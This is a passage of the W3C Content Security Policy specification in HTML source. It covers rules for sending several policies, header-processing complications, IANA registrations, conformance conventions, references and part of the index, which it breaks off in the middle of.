Server administrators MAY wish to send multiple policies if different\n    reporting options are desired for subsets of an overall policy. For instance,\n    the following headers:\n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/ \nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would send violation reports for <code>http</code> resources, but would not\n    send violation reports for <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> violations.\n    Note also that combining them via '<code>,</code>' into the single header</p>\n     \n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/, <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would have the same effect, as the comma splits the header during parsing.</p>\n     \n  \n    </div>\n\n  \n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"complications\"><span class=\"secno\">10.1. </span><span class=\"content\">Processing Complications</span><a class=\"self-link\" href=\"#complications\"></a></h3>\n\n\n    <p>Many user agents implement some form of optimistic resource fetching algorithm\n  to speed up page loads. In implementing these features, user agents MUST\n  ensure that these optimizations do not alter the behavior of the page’s\n  security policy.</p>\n\n\n    <p>Here, we’ll note a few potential complications that could cause bugs in\n  implementations:</p>\n\n  \n    <ol>\n    \n     <li>\n      The <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestor</a> directive MUST take effect before a document is\n      loaded into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>, and certainly before script\n      is potentially executed. One way to approach this constraint is to perform\n      the ancestor check defined in <a href=\"#directive-frame-ancestors\">§7.7 frame-ancestors</a> while parsing\n      the document’s headers. This might mean that no document object is\n      available at all, which can complicate checks against <code>'self'</code>,\n      and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>- or <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a>-relative source expressions.\n    \n     \n    \n     <li>\n      Likewise, the <code>Link</code> HTTP response header could generate\n      requests for stylesheet resources before a document is available. User\n      agents MUST ensure that any policy contained in the response headers is\n      parsed and effective <em>before</em> these requests are generated. For\n      example, a response returning the following headers:\n\n      \n      <pre>Content-Security-Policy: style-src 'none'\nLink: &lt;awesome.css>; rel=stylesheet\n</pre>\n      \n\n\n      <p>MUST have the same behavior as a response returning the following headers:</p>\n      \n\n      \n      <pre>Link: &lt;awesome.css>; rel=stylesheet\nContent-Security-Policy: style-src 'none'\n</pre>\n      \n\n\n      <p>namely, both must block requests for the stylesheet. To fulfil this\n      requirement user agents MUST wait until all headers have been processed\n      before beginning to prefetch resources.</p>\n      \n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"11\" id=\"iana-considerations\"><span class=\"secno\">11. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n\n\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.1\" id=\"iana-content-security-policy\"><span class=\"secno\">11.1. </span><span class=\"content\">Content-Security-Policy</span><a class=\"self-link\" href=\"#iana-content-security-policy\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.2\" id=\"iana-content-security-policy-report-only\"><span class=\"secno\">11.2. </span><span class=\"content\">Content-Security-Policy-Report-Only</span><a class=\"self-link\" href=\"#iana-content-security-policy-report-only\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Report-Only\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.3\" id=\"iana-csp\"><span class=\"secno\">11.3. </span><span class=\"content\">CSP</span><a class=\"self-link\" href=\"#iana-csp\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>CSP\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>)\n      \n    \n     </dl>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"12\" id=\"acknowledgements\"><span class=\"secno\">12. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n\n\n    <p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=\"https://tools.ietf.org/wg/websec/\">IETF websec working group</a>,\n  particularly that working group’s requirements document:\n  <a href=\"https://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n\n\n    <p>A portion of the <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n\n\n    <p>Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided\n  particularly insightful feedback to keep this specification sane.</p>\n</section>\n\n</main>\n\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n\n    \n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n\n    \n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    </p>\n  <div class=\"example\">\n        \n   <p>This is an example of an informative example.</p>\n   \n    \n  </div>\n\n    \n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n\n    \n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    \n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformance-classes\"><span class=\"content\">Conformance Classes</span><a class=\"self-link\" href=\"#conformance-classes\"></a></h3>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-user-agent\">conformant user agent<a class=\"self-link\" href=\"#conformant-user-agent\"></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-server\">conformant server<a class=\"self-link\" href=\"#conformant-server\"></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n\n\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-abnf\"><a class=\"self-link\" href=\"#biblio-abnf\"></a>[ABNF]\n   <dd>Dave Crocker; Paul Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n   <dt id=\"biblio-beacon\"><a class=\"self-link\" href=\"#biblio-beacon\"></a>[BEACON]\n   <dd>Jatinder Mann; Alois Reitbauer. <a href=\"http://www.w3.org/TR/beacon/\">Beacon</a>. WD. URL: <a href=\"http://www.w3.org/TR/beacon/\">http://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-ecma-262\"><a class=\"self-link\" href=\"#biblio-ecma-262\"></a>[ECMA-262]\n   <dd><a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\">ECMAScript Language Specification, Edition 5.1</a>. June 2011. URL: <a href=\"http://www.ecma-international.org/publications/standards/Ecma-262.htm\">http://www.ecma-international.org/publications/standards/Ecma-262.htm</a>\n   <dt id=\"biblio-html-imports\"><a class=\"self-link\" href=\"#biblio-html-imports\"></a>[HTML-IMPORTS]\n   <dd>Dmitri Glazkov; Hajime Morrita. <a href=\"http://www.w3.org/TR/html-imports/\">HTML Imports</a>. WD. URL: <a href=\"http://www.w3.org/TR/html-imports/\">http://www.w3.org/TR/html-imports/</a>\n   <dt id=\"biblio-rfc3492\"><a class=\"self-link\" href=\"#biblio-rfc3492\"></a>[RFC3492]\n   <dd>Adam M. Costello. <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">http://www.ietf.org/rfc/rfc3492.txt</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">http://www.ietf.org/rfc/rfc3864.txt</a>\n   <dt id=\"biblio-rfc4627\"><a class=\"self-link\" href=\"#biblio-rfc4627\"></a>[RFC4627]\n   <dd>Douglas Crockford. <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">http://www.ietf.org/rfc/rfc4627.txt</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">The Web Origin Concept</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n   <dt id=\"biblio-rfc7034\"><a class=\"self-link\" href=\"#biblio-rfc7034\"></a>[RFC7034]\n   <dd>David Ross; Tobias Gondrom. <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">http://www.ietf.org/rfc/rfc7034.txt</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">http://www.ietf.org/rfc/rfc7230.txt</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">http://www.ietf.org/rfc/rfc7231.txt</a>\n   <dt id=\"biblio-sha2\"><a class=\"self-link\" href=\"#biblio-sha2\"></a>[SHA2]\n   <dd><a href=\"http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf\">Descriptions of SHA-256, SHA-384, and SHA-512</a>. URL: <a href=\"http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf\">http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren; Sam Ruby. <a href=\"http://www.w3.org/TR/url/\">URL</a>. WD. URL: <a href=\"http://www.w3.org/TR/url/\">http://www.w3.org/TR/url/</a>\n   <dt id=\"biblio-webidl\"><a class=\"self-link\" href=\"#biblio-webidl\"></a>[WebIDL]\n   <dd>Cameron McCormack. <a href=\"http://www.w3.org/TR/WebIDL/\">Web IDL</a>. 19 April 2012. CR. URL: <a href=\"http://www.w3.org/TR/WebIDL/\">http://www.w3.org/TR/WebIDL/</a>\n   <dt id=\"biblio-xmlhttprequest\"><a class=\"self-link\" href=\"#biblio-xmlhttprequest\"></a>[XMLHttpRequest]\n   <dd>Anne van Kesteren; et al. <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">XMLHttpRequest Level 1</a>. 30 January 2014. WD. URL: <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">http://www.w3.org/TR/XMLHttpRequest/</a>\n   <dt id=\"biblio-css3-fonts\"><a class=\"self-link\" href=\"#biblio-css3-fonts\"></a>[css3-fonts]\n   <dd>John Daggett. <a href=\"http://www.w3.org/TR/css3-fonts/\">CSS Fonts Module Level 3</a>. 11 December 2012. WD. URL: <a href=\"http://www.w3.org/TR/css3-fonts/\">http://www.w3.org/TR/css3-fonts/</a>\n   <dt id=\"biblio-css4-images\"><a class=\"self-link\" href=\"#biblio-css4-images\"></a>[css4-images]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"http://www.w3.org/TR/css4-images/\">CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. WD. URL: <a href=\"http://www.w3.org/TR/css4-images/\">http://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-cssom\"><a class=\"self-link\" href=\"#biblio-cssom\"></a>[cssom]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"http://www.w3.org/TR/cssom/\">CSS Object Model (CSSOM)</a>. 5 December 2013. WD. URL: <a href=\"http://www.w3.org/TR/cssom/\">http://www.w3.org/TR/cssom/</a>\n   <dt id=\"biblio-eventsource\"><a class=\"self-link\" href=\"#biblio-eventsource\"></a>[eventsource]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 11 December 2012. CR. URL: <a href=\"http://www.w3.org/TR/eventsource/\">http://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[html5]\n   <dd>Robin Berjon; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. 28 October 2014. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[rfc2119]\n   <dd>S. Bradner. <a href=\"http://www.ietf.org/rfc/rfc2119.txt\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"http://www.ietf.org/rfc/rfc2119.txt\">http://www.ietf.org/rfc/rfc2119.txt</a>\n   <dt id=\"biblio-rfc3986\"><a class=\"self-link\" href=\"#biblio-rfc3986\"></a>[rfc3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"http://www.ietf.org/rfc/rfc3986.txt\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"http://www.ietf.org/rfc/rfc3986.txt\">http://www.ietf.org/rfc/rfc3986.txt</a>\n   <dt id=\"biblio-rfc5988\"><a class=\"self-link\" href=\"#biblio-rfc5988\"></a>[rfc5988]\n   <dd>M. Nottingham. <a href=\"http://www.ietf.org/rfc/rfc5988.txt\">Web Linking</a>. October 2010. Proposed Standard. URL: <a href=\"http://www.ietf.org/rfc/rfc5988.txt\">http://www.ietf.org/rfc/rfc5988.txt</a>\n   <dt id=\"biblio-websockets\"><a class=\"self-link\" href=\"#biblio-websockets\"></a>[websockets]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"http://www.w3.org/TR/websockets/\">http://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[workers]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\">Web Workers</a>. 1 May 2012. CR. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a>\n   <dt id=\"biblio-xml11\"><a class=\"self-link\" href=\"#biblio-xml11\"></a>[xml11]\n   <dd>Tim Bray; et al. <a href=\"http://www.w3.org/TR/xml11/\">Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. REC. URL: <a href=\"http://www.w3.org/TR/xml11/\">http://www.w3.org/TR/xml11/</a>\n   <dt id=\"biblio-xslt\"><a class=\"self-link\" href=\"#biblio-xslt\"></a>[xslt]\n   <dd>James Clark. <a href=\"http://www.w3.org/TR/xslt\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"http://www.w3.org/TR/xslt\">http://www.w3.org/TR/xslt</a></dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-fetch\"><a class=\"self-link\" href=\"#biblio-fetch\"></a>[FETCH]\n   <dd>Anne van Kesteren. <a href=\"https://fetch.spec.whatwg.org/\">Fetch</a>. Living Standard. URL: <a href=\"https://fetch.spec.whatwg.org/\">https://fetch.spec.whatwg.org/</a>\n   <dt id=\"biblio-rfc6797\"><a class=\"self-link\" href=\"#biblio-rfc6797\"></a>[RFC6797]\n   <dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">http://www.ietf.org/rfc/rfc6797.txt</a>\n   <dt id=\"biblio-uiredress\"><a class=\"self-link\" href=\"#biblio-uiredress\"></a>[UIREDRESS]\n   <dd>Giorgio Maone; et al. <a href=\"http://www.w3.org/TR/UISecurity/\">User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=\"http://www.w3.org/TR/UISecurity/\">http://www.w3.org/TR/UISecurity/</a></dl>\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <ul class=\"indexlist\">\n   <li>allowed base URLs, <a href=\"#allowed-base-urls\">7.1</a>\n   <li>allowed child sources, <a href=\"#allowed-child-sources\">7.2</a>\n   <li>allowed connection targets, <a href=\"#allowed-connection-targets\">7.3</a>\n   <li>allowed font sources, <a href=\"#allowed-font-sources\">7.5</a>\n   <li>allowed form actions, <a href=\"#allowed-form-actions\">7.6</a>\n   <li>allowed frame ancestors, <a href=\"#allowed-frame-ancestors\">7.7</a>\n   <li>allowed frame sources, <a href=\"#allowed-frame-sources\">7.8</a>\n   <li>allowed image sources, <a href=\"#allowed-image-sources\">7.9</a>\n   <li>allowed media sources, <a href=\"#allowed-media-sources\">7.10</a>\n   <li>allowed object sources, <a href=\"#allowed-object-sources\">7.11</a>\n   <li>allowed plugin media types, <a href=\"#allowed-plugin-media-types\">7.12</a>\n   <li>allowed script sources, <a href=\"#allowed-script-sources\">7.15</a>\n   <li>allowed style sources, <a href=\"#allowed-style-sources\">7.16</a>\n   <li>ALPHA, <a href=\"#alpha\">2.4</a>\n   <li>ancestor-source, <a href=\"#ancestor_source\">7.7</a>\n   <li>ancestor-source-list, <a href=\"#ancestor_source_list\">7.7</a>\n   <li>base64-value, <a href=\"#base64_value\">4.2</a>\n   <li>base-uri, <a href=\"#base_uri\">7.1</a>\n   <li>blockedURI\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-blockeduri\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">6.2</a>\n    </ul>\n   <li>callable, <a href=\"#callable\">2.3</a>\n   <li>callers, <a href=\"#callers\">2.3</a>\n   <li>child-src, <a href=\"#child_src\">7.2</a>\n   <li>columnNumber\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-columnnumber\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">6.2</a>\n    </ul>\n   <li>conformant server, <a href=\"#conformant-server\">Unnumbered section</a>\n   <li>conformant user agent, <a href=\"#conformant-user-agent\">Unnumbered section</a>\n   <li>connect-src, <a href=\"#connect_src\">7.3</a>\n   <li>Content-Security-Policy, <a href=\"#content_security_policy\">3.1</a>\n   <li>Content-Security-Policy-Report-Only, <a href=\"#content_security_policy_report_only\">3.2</a>\n   <li>Content Security Policy task\n          source, <a href=\"#content-security-policy-task-source\">4.4</a>\n   <li>CSP, <a href=\"#csp\">3.4</a>\n   <li>csp-header-value, <a href=\"#csp_header_value\">3.4</a>\n   <li>default sources, <a href=\"#default-sources\">7.4</a>\n   <li>default-src, <a href=\"#default_src\">7.4</a>\n   <li>digest of element’s content, <a href=\"#digest-of-elements-content\">4.2.5</a>\n   <li>DIGIT, <a href=\"#digit\">2.4</a>\n   <li>directive, <a href=\"#security-policy-directive\">2.1</a>\n   <li>directive name, <a href=\"#security-policy-directive-name\">2.1</a>\n   <li>directive-name, <a href=\"#directive_name\">4.1</a>\n   <li>directive-token, <a href=\"#directive_token\">4.1</a>\n   <li>directive-value, <a href=\"#directive_value\">4.1</a>\n   <li>directive value, <a href=\"#security-policy-directive-value\">2.1</a>\n   <li>documentURI\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-documenturi\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-documenturi\">6.2</a>\n    </ul>\n   <li>effectiveDirective\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-effectivedirective\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">6.2</a>\n    </ul>\n   <li>element’s content, <a href=\"#elements-content\">4.2.5</a>\n   <li>enforce, <a href=\"#enforce\">5</a>\n   <li>eventInitDict, <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-eventinitdict\">6.1</a>\n   <li>fire a violation event, <a href=\"#fire-a-violation-event\">6.3</a>\n   <li>font-src, <a href=\"#font_src\">7.5</a>\n   <li>form-action, <a href=\"#form_action\">7.6</a>\n   <li>frame-ancestors, <a href=\"#frame_ancestors\">7.7</a>\n   <li>frame-src, <a href=\"#frame_src\">7.8</a>\n   <li>generate a violation report object, <a href=\"#generate-a-violation-report-object\">4.4</a>\n   <li>generating a violation report object, <a href=\"#generate-a-violation-report-object\">4.4</a>\n   <li>globally unique identifier, <a href=\"#globally-unique-identifier\">2.2</a>\n   <li>hash-algo, <a href=\"#hash_algo\">4.2</a>\n   <li>hash-source, <a href=\"#hash_source\">4.2</a>\n   <li>hash-value, <a href=\"#hash_value\">4.2</a>\n   <li>host-char, <a href=\"#host_char\">4.2</a>\n   <li>host-part, <a href=\"#host_part\">4.2</a>\n   <li>host-source, <a href=\"#host_source\">4.2</a>\n   <li>HTTP 200 response, <a href=\"#http-200-response\">2.2</a>\n   <li>img-src, <a href=\"#img_src\">7.9</a>\n   <li>JSON object, <a href=\"#json-object\">2.2</a>\n   <li>JSON stringification, <a href=\"#json-stringification\">2.2</a>\n   <li>keyword-source, <a href=\"#keyword_source\">4.2</a>\n   <li>lineNumber\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-linenumber\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-linenumber\">6.2</a>\n    </ul>\n   <li>match a media type list, <a href=\"#match-a-media-type-list\">4.3.2</a>\n   <li>match a source expression, <a href=\"#match-a-source-expression\">4.2.2</a>\n   <li>match a source list, <a href=\"#match-a-source-list\">4.2.2</a>\n   <li>media-src, <a href=\"#media_src\">7.10</a>\n   <li>media type, <a href=\"#media-type\">4.3</a>\n   <li>media-type, <a href=\"#media_type\">4.3</a>\n   <li>media type list, <a href=\"#media-type-list\">4.3</a>\n   <li>media-type-list, <a href=\"#media_type_list\">4.3</a>\n   <li>monitor, <a href=\"#monitor\">5</a>\n   <li>nonce\n    <ul>\n     <li>attribute for HTMLScriptElement, <a href=\"#dom-htmlscriptelement-nonce\">4.2.3</a>\n     <li>element-attr for script, <a href=\"#element-attrdef-script-nonce\">4.2.3</a>\n     <li>attribute for HTMLStyleElement, <a href=\"#dom-htmlstyleelement-nonce\">4.2.3</a>\n     <li>element-attr for style, <a href=\"#element-attrdef-style-nonce\">4.2.3</a>\n    </ul>\n   <li>nonce-source, <a href=\"#nonce_source\">4.2</a>\n   <li>nonce-value, <a href=\"#nonce_value\">4.2</a>\n   <li>object-src, <a href=\"#object_src\">7.11</a>\n   <li>origin, <a href=\"#origin\">2.2</a>\n   <li>originalPolicy\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-originalpolicy\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">6.2</a>\n    </ul>\n   <li>parse a media type list, <a href=\"#parse-a-media-type-list\">4.3.1</a>\n   <li>parse a source list, <a href=\"#parse-a-source-list\">4.2.1</a>\n   <li>parse the policy, <a href=\"#parse-the-policy\">4.1.1</a>\n   <li>path-part, <a href=\"#path_part\">4.2</a>\n   <li>plugin-types, <a href=\"#plugin_types\">7.12</a>\n   <li>policy, <a href=\"#security-policy\">2.1</a>\n   <li>policy-token, <a href=\"#policy_token\">4.1</a>\n   <li>port-part, <a href=\"#port_part\">4.2</a>\n   <li>protected resource, <a href=\"#protected-resource\">2.1</a>\n   <li>referrer\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-referrer\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-referrer\">6.2</a>\n    </ul>\n   <li>report a violation, <a href=\"#report-a-violation\">4.4</a>\n   <li>report-uri, <a href=\"#report_uri\">7.13</a>\n   <li>representation, <a href=\"#resource-representation\">2.2</a>\n   <li>resource representation, <a href=\"#resource-representation\">2.2</a>\n   <li>runs a worker, <a href=\"#runs-a-worker\">2.3</a>\n   <li>sandbox, <a href=\"#sandbox\">7.14</a>\n   <li>sandbox-token, <a href=\"#sandbox_token\">7.14</a>\n   <li>scheme-part, <a href=\"#scheme_part\">4.2</a>\n   <li>scheme-source, <a href=\"#scheme_source\">4.2</a>\n   <li>script-src, <a href=\"#script_src\">7.15</a>\n   <li>security policy, <a href=\"#security-policy\">2.1</a>\n   <li>security policy directive, <a href=\"#security-policy-directive\">2.1</a>\n   <li>security policy directive name, <a href=\"#security-policy-directive-name\">2.1</a>\n   <li>security policy directive value, <a href=\"#security-policy-directive-value\">2.1</a>\n   <li>SecurityPolicyViolationEvent, <a href=\"#securitypolicyviolationevent\">6.1</a>\n   <li>SecurityPolicyViolationEventInit, <a 